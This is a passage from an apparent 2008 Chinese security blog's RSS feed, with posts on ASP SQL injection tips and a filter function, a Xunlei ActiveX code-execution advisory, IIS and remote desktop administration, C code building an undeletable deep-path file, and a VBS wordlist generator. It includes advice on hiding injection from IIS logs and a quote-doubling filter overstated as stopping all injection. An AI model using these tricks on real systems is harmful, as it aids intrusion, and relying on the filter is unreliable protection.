/&gt;3.特别注意：地址栏的+号传入程序后解释为空格，%2B解释为+号，%25解释为%号，具体可以参考URLEncode的相关介绍。&amp;nbsp; &lt;br /&gt;&lt;br /&gt;4.用Get方法注入时，IIS会记录你所有的提交字符串，对Post方法做则不记录，所以能用Post的网址尽量不用Get。&amp;nbsp; &lt;br /&gt;&lt;br /&gt;5. 猜解Access时只能用Ascii逐字解码法，SQLServer也可以用这种方法，只需要两者之间的区别即可，但是如果能用SQLServer的报错信息把值暴露出来，那效率和准确率会有极大的提高。&amp;nbsp; &lt;br /&gt;&lt;br /&gt;防范方法&amp;nbsp; &lt;br /&gt;&lt;br /&gt;SQL注入漏洞可谓是&amp;ldquo;千里之堤，溃于蚁穴&amp;rdquo;，这种漏洞在网上极为普遍，通常是由于程序员对注入不了解，或者程序过滤不严格，或者某个参数忘记检查导 致。在这里，我给大家一个函数，代替ASP中的Request函数，可以对一切的SQL注入Say NO，函数如下：&amp;nbsp; &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Function SafeRequest(ParaName,ParaType)&amp;nbsp; &lt;br /&gt;'--- 传入参数 ---&amp;nbsp; &lt;br /&gt;'ParaName:参数名称-字符型&amp;nbsp; &lt;br /&gt;'ParaType:参数类型-数字型(1表示以上参数是数字，0表示以上参数为字符)&amp;nbsp; &lt;br /&gt;&lt;br /&gt;Dim ParaValue&amp;nbsp; &lt;br /&gt;ParaValue=Request(ParaName)&amp;nbsp; &lt;br /&gt;If ParaType=1 then&amp;nbsp; &lt;br /&gt;If not isNumeric(ParaValue) then&amp;nbsp; &lt;br /&gt;Response.write &amp;quot;参数&amp;quot; &amp;amp; ParaName &amp;amp; &amp;quot;必须为数字型！&amp;quot;&amp;nbsp; &lt;br /&gt;Response.end&amp;nbsp; &lt;br /&gt;End if&amp;nbsp; &lt;br /&gt;Else&amp;nbsp; &lt;br /&gt;ParaValue=replace(ParaValue,&amp;quot;'&amp;quot;,&amp;quot;''&amp;quot;)&amp;nbsp; &lt;br /&gt;End if&amp;nbsp; &lt;br /&gt;SafeRequest=ParaValue&amp;nbsp; &lt;br /&gt;End function&amp;nbsp; &lt;/p&gt;</description><category>黑色风暴</category><pubDate>Thu, 10 Jul 2008 18:24:53 +0800</pubDate><author>a@b.com (admin)</author><comments>http://blog.tytk.net/post/182.html#comment</comments><guid isPermaLink="false">http://blog.tytk.net/post/182.html</guid><dc:creator>a@b.com (admin)</dc:creator><fs:srclink>http://blog.tytk.net/post/182.html</fs:srclink><fs:srcfeed>http://blog.tytk.net/rss.xml</fs:srcfeed><fs:itemid>feedsky/tytk/~7056342/94573198/5164361</fs:itemid></item><item><title>迅雷ActiveX控件远程代码执行漏洞</title><link>http://item.feedsky.com/~feedsky/tytk/~7056342/94573199/5164361/1/item.html</link><wfw:comment>http://blog.tytk.net/</wfw:comment><wfw:commentRss>http://blog.tytk.net/feed.asp?cmt=181</wfw:commentRss><trackback:ping>http://blog.tytk.net/cmd.asp?act=tb&amp;id=181&amp;key=0a459df0</trackback:ping><description>&lt;p&gt;Summary:&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;迅雷是一款在中国非常流行的基于P2SP技术的下载软件。更多详细信息请参考：&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;a href=&quot;http://www.xunlei.com/&quot; target=&quot;_blank&quot;&gt;http://www.xunlei.com&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;在迅雷5的一个ActiveX控件中存在一个远程代码执行漏洞，远程攻击者可利用此漏洞在被攻击者系统上以当前浏览器权限执行任意代码，进而可安装木马以及间谍程序。&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Affected Software Versions:&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;迅雷5(Version of &amp;quot;DapCtrl*.dll&amp;quot; &amp;lt;= 1.5.578.28)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Details:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;漏洞存在于由ActiveX控件&amp;quot;DapCtrl*.dll&amp;quot;导出的&amp;quot;Put()&amp;quot;函数中，相关信息如下：&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;InprocServer32:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;C:\Documents and Settings\All Users\Application Data\Thunder Network\KanKan\DapCtrl1.5.578.28.483.dll&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ClassID&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;: &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ACACC6EB-1FBA-4E13-A729-53AEB2DF54F8&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;[id(0x00000002)]&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;long Put([in] BSTR name, [in] VARIANT value);&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;如果把第一个参数name设置成某些特殊的object对象，将会导致可被利用的IE内存破坏，经过精心构造的多个破坏将导致IE运行到一个固定的地址，这个地址可利用IE中的javascript heap spray技术覆盖到，从而可稳定执行任意代码。&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Solution:&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;厂商已在最新版本中修复了此漏洞，厂商公告可在如下地址找到：&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;a href=&quot;http://safe.xunlei.com/announce/xl08040501.html&quot; target=&quot;_blank&quot;&gt;http://safe.xunlei.com/announce/xl08040501.html&lt;/a&gt;&lt;br /&gt;&amp;nbsp;&lt;/p&gt;</description><category>黑色风暴</category><pubDate>Sat, 05 Jul 2008 20:47:07 +0800</pubDate><author>a@b.com (admin)</author><comments>http://blog.tytk.net/post/181.html#comment</comments><guid isPermaLink="false">http://blog.tytk.net/post/181.html</guid><dc:creator>a@b.com (admin)</dc:creator><fs:srclink>http://blog.tytk.net/post/181.html</fs:srclink><fs:srcfeed>http://blog.tytk.net/rss.xml</fs:srcfeed><fs:itemid>feedsky/tytk/~7056342/94573199/5164361</fs:itemid></item><item><title>修改机器名同时修改IWAM_HOSTNAME和IUSR_HOSTNAME</title><link>http://item.feedsky.com/~feedsky/tytk/~7056342/94573200/5164361/1/item.html</link><wfw:comment>http://blog.tytk.net/</wfw:comment><wfw:commentRss>http://blog.tytk.net/feed.asp?cmt=180</wfw:commentRss><trackback:ping>http://blog.tytk.net/cmd.asp?act=tb&amp;id=180&amp;key=0906f85f</trackback:ping><description>&lt;p&gt;Q:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 修改机器名时，希望同时修改IWAM_HOSTNAME和IUSR_HOSTNAME，如何操作？&lt;br /&gt;&lt;br /&gt;A:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 假设原机器名为OldName，新机器名为NewName。&lt;br /&gt;&lt;br /&gt;1、将机器名从OldName改为为NewName。&lt;br /&gt;&lt;br /&gt;2、进入AdminScripts目录，通常是C:\Inetpub\AdminScripts，然后运行：&lt;br /&gt;&lt;br /&gt;cscript adsutil.vbs Set W3SVC/WAMUserName IWAM_NewName&lt;br /&gt;cscript adsutil.vbs Set W3SVC/AnonymousUserName IUSR_NewName&lt;br /&gt;cscript adsutil.vbs Set MSFTPSVC/AnonymousUserName IUSR_NewName&lt;br /&gt;&lt;br /&gt;3、删除IWAM_OldName和IUSR_OldName这两个账号。&lt;br /&gt;&lt;br /&gt;4、重启系统。IISADMIN服务重启时会自动创建和设置IWAM_NewName和IUSR_NewName。&lt;/p&gt;</description><category>黑色风暴</category><pubDate>Fri, 04 Jul 2008 15:47:57 +0800</pubDate><author>a@b.com (admin)</author><comments>http://blog.tytk.net/post/180.html#comment</comments><guid isPermaLink="false">http://blog.tytk.net/post/180.html</guid><dc:creator>a@b.com (admin)</dc:creator><fs:srclink>http://blog.tytk.net/post/180.html</fs:srclink><fs:srcfeed>http://blog.tytk.net/rss.xml</fs:srcfeed><fs:itemid>feedsky/tytk/~7056342/94573200/5164361</fs:itemid></item><item><title>远程桌面超出了最大允许连接数的解决办法</title><link>http://item.feedsky.com/~feedsky/tytk/~7056342/94573201/5164361/1/item.html</link><wfw:comment>http://blog.tytk.net/</wfw:comment><wfw:commentRss>http://blog.tytk.net/feed.asp?cmt=179</wfw:commentRss><trackback:ping>http://blog.tytk.net/cmd.asp?act=tb&amp;id=179&amp;key=7a767e9d</trackback:ping><description>&lt;div class=&quot;textbox-content&quot; id=&quot;textboxContent&quot;&gt;一台远程服务器，PCanywhere显示连接忙，无法连接。使用远程连接显示&amp;ldquo;超过了最大允许连接数&amp;rdquo;，第一个问题可以过去操作一下服务器，但是也必须把第二个问题解决，搜索了一下，摘抄一些有用的东西。 &lt;br /&gt;&lt;br /&gt;使用远程桌面的朋友可能经常会遇到&amp;ldquo;超出最大允许连接数&amp;rdquo;的问题，这是因为remote desktop for administrator缺省设置是2个连接，而且如果远程登录后不注销而直接关闭远程桌面，实际上session还留在服务器端，所以再次连接就很容易出现上面的提示。解决办法一是用注销来关闭远程桌面，二是限制已经断开连接的session存在的时间，三是增加连接数。 &lt;br /&gt;&lt;br /&gt;先说增加连接数，目前的两种方法，我明天去测试一下： &lt;br /&gt;&lt;br /&gt;（1）开始- 运行- gpedit.msc- 管理模板- Windows组件- 终端服务- 限制连接数量- 启用 TS允许的最大连接数（可修改，不过好像并没有解决我的问题，远程连接服务器还是提示超过了最大允许连接数） &lt;br /&gt;&lt;br /&gt;（2）开始- 运行- gpedit.msc- 管理模板- Windows组件- 终端服务- 限制连接数量- 选择&amp;ldquo;已禁用&amp;rdquo;，打开终端服务器配置-网卡-把那个允许最大连接数值改的大一些（经过我的测试，此种方法不可用，因为允许最大连接数不可修改，默认为2）。 &lt;br /&gt;第二个答案：这是因为windows2003仅支持2个终端用户的登陆。当这种情况出现后，多数人选择的是给机房打电话进行重启服务器。可是带来的损失也是显而易见的。那么我们有什么办法来解决呢？方法当然是有的。我们只需要在一台2003的机器上运行&amp;ldquo;tsmmc.msc&amp;rdquo;就可以打开远程桌面连接，在这里我们添加一个新的连接，输入对方的IP地址帐号和密码后就可以成功登陆到对方的桌面中，这时可以再踢下一个用户。就可以解决终端连接数超过最大的问题。 &lt;br /&gt;&lt;br /&gt;第三个答案： &lt;br /&gt;&lt;br /&gt;1、修改终端服务配置 &lt;br /&gt;开始 -〉控制面板 -〉管理工具 -〉终端服务配置 &lt;br /&gt;左边选择&amp;ldquo;连接&amp;rdquo;后双击右边的RDP-Tcp，打开属性设置对话框 &lt;br /&gt;选择&amp;ldquo;会话&amp;rdquo;标签，选中第一个&amp;ldquo;替代用户设置&amp;rdquo;，修改&amp;ldquo;结束已断开的会话&amp;rdquo;的时间，此处我修改为&amp;ldquo;10分钟&amp;rdquo;，这样当断开连接10分钟内没有再次连接的话，系统就会自动结束这个会话 &lt;br /&gt;&lt;br /&gt;2、修改组策略 &lt;br /&gt;这个级别要高于终端服务配置，在这个里面修改后，上面的终端服务配置那几个修改内容就会变灰，无法修改了。 &lt;br /&gt;开始 -〉运行 -〉gpedit.msc 左面计算机配置-〉管理模板-〉windows组件-〉终端服务 &lt;br /&gt;右面双击限制连接数量打开设置对话框，选择&amp;ldquo;已启用&amp;rdquo;，在结束已断开的会话中选择时间。 &lt;br /&gt;&lt;div class=&quot;editmark&quot;&gt;&amp;nbsp;&lt;/div&gt;&lt;/div&gt;</description><category>黑色风暴</category><pubDate>Fri, 04 Jul 2008 14:03:41 +0800</pubDate><author>a@b.com (admin)</author><comments>http://blog.tytk.net/post/179.html#comment</comments><guid isPermaLink="false">http://blog.tytk.net/post/179.html</guid><dc:creator>a@b.com (admin)</dc:creator><fs:srclink>http://blog.tytk.net/post/179.html</fs:srclink><fs:srcfeed>http://blog.tytk.net/rss.xml</fs:srcfeed><fs:itemid>feedsky/tytk/~7056342/94573201/5164361</fs:itemid></item><item><title>让所有&amp;quot;暴力删除工具&amp;quot;无语的代码</title><link>http://item.feedsky.com/~feedsky/tytk/~7056342/94573202/5164361/1/item.html</link><wfw:comment>http://blog.tytk.net/</wfw:comment><wfw:commentRss>http://blog.tytk.net/feed.asp?cmt=178</wfw:commentRss><trackback:ping>http://blog.tytk.net/cmd.asp?act=tb&amp;id=178&amp;key=6f963c3e</trackback:ping><description>&lt;p&gt;挑战一下，看谁的工具能删除它？&lt;br /&gt;&lt;br /&gt;用下面代码创建：&lt;/p&gt;&lt;div class=&quot;code&quot;&gt;PVOID buf = malloc(200000); &lt;br /&gt;WCHAR path [MAX_PATH] ; &lt;br /&gt;ZeroMemory(buf , 200000); &lt;br /&gt;&amp;nbsp;&lt;br /&gt;GetSystemDirectoryW(path , MAX_PATH); &lt;br /&gt;wcscpy((wchar_t *)buf , L&amp;quot;\\\\?\\C:\\test&amp;quot;); &lt;br /&gt;CreateDirectoryW((wchar_t *)buf , 0); &lt;br /&gt;ULONG i ; &lt;br /&gt;&amp;nbsp;&lt;br /&gt;for ( i = 0 ; i &amp;lt; 1023 ; i ++) &lt;br /&gt;{ &lt;br /&gt;wcscat((wchar_t *)buf , L\\test); &lt;br /&gt;CreateDirectoryW((wchar_t *)buf , 0); &lt;br /&gt;&amp;nbsp;&lt;br /&gt;} &lt;br /&gt;wcscat((wchar_t *)buf , L\\test.exe); &lt;br /&gt;wcscat(path , L&amp;quot;\\calc.exe&amp;quot;); &lt;br /&gt;CopyFileW(path , (wchar_t *)buf , FALSE); &lt;br /&gt;&amp;nbsp;&lt;br /&gt;return ;&lt;/div&gt;</description><category>编程资源</category><pubDate>Mon, 30 Jun 2008 14:11:38 +0800</pubDate><author>a@b.com (admin)</author><comments>http://blog.tytk.net/post/178.html#comment</comments><guid isPermaLink="false">http://blog.tytk.net/post/178.html</guid><dc:creator>a@b.com (admin)</dc:creator><fs:srclink>http://blog.tytk.net/post/178.html</fs:srclink><fs:srcfeed>http://blog.tytk.net/rss.xml</fs:srcfeed><fs:itemid>feedsky/tytk/~7056342/94573202/5164361</fs:itemid></item><item><title>用vbs写的短小精悍的字典生成器</title><link>http://item.feedsky.com/~feedsky/tytk/~7056342/94573203/5164361/1/item.html</link><wfw:comment>http://blog.tytk.net/</wfw:comment><wfw:commentRss>http://blog.tytk.net/feed.asp?cmt=177</wfw:commentRss><trackback:ping>http://blog.tytk.net/cmd.asp?act=tb&amp;id=177&amp;key=46489a16</trackback:ping><description>&lt;div class=&quot;code&quot;&gt;'code by lcx ,很好,很强大,很黄很暴力,很傻很天真,很zd很cnn&lt;br /&gt;'这个程序是算不同数字与字母的所有排列组合,当然可以做为字典生成器来用.如需不同组合,只需改本程序a和b的变量即可以.&lt;br /&gt;'use:cscript this.vbs &amp;gt; dic.txt　&lt;br /&gt;a=Array(1,2,3,4,&amp;quot;a&amp;quot;)&lt;br /&gt;Function js1(n)&lt;br /&gt;for i=1 to n&lt;br /&gt;f=f&amp;amp;&amp;quot;f&amp;quot;&amp;amp;i&amp;amp;&amp;quot;&amp;amp;&amp;quot;&lt;br /&gt;s=s&amp;amp;&amp;quot;For Each f&amp;quot;&amp;amp;i &amp;amp;&amp;quot; In a :wscript.echo &amp;quot;&amp;amp; f&lt;br /&gt;s=Mid(S,1,Len(S)-1)&amp;amp;&amp;quot;:&amp;quot;&lt;br /&gt;Next&lt;br /&gt;js1=s&lt;br /&gt;End Function&lt;br /&gt;&lt;br /&gt;Function js2(n)&lt;br /&gt;for i=1 to n&lt;br /&gt;m=m &amp;amp; &amp;quot;Next&amp;quot; &amp;amp; &amp;quot;:&amp;quot;&lt;br /&gt;Next&lt;br /&gt;js2=m&lt;br /&gt;End Function&lt;br /&gt;&lt;br /&gt;lcx= js1(UBound(a)+1)&amp;amp;js2(UBound(a)+1)&lt;br /&gt;lcx=Mid(lcx,1,Len(lcx)-1)&lt;br /&gt;b=&amp;quot;a=Array(1,2,3,4,&amp;quot;&amp;quot;a&amp;quot;&amp;quot;):&amp;quot;&amp;amp;lcx&lt;br /&gt;&lt;br /&gt;Execute b&lt;/div&gt;</description><category>编程资源</category><pubDate>Mon, 30 Jun 2008 14:11:10 +0800</pubDate><author>a@b.com (admin)</author><comments>http://blog.tytk.net/post/177.html#comment</comments><guid isPermaLink="false">http://blog.tytk.net/post/177.html</guid><dc:creator>a@b.com (admin)</dc:creator><fs:srclink>http://blog.tytk.net/post/177.html</fs:srclink><fs:srcfeed>http://blog.tytk.net/rss.xml</fs:srcfeed><fs:itemid>feedsky/tytk/~7056342/94573203/5164361</fs:itemid></item></channel></rss>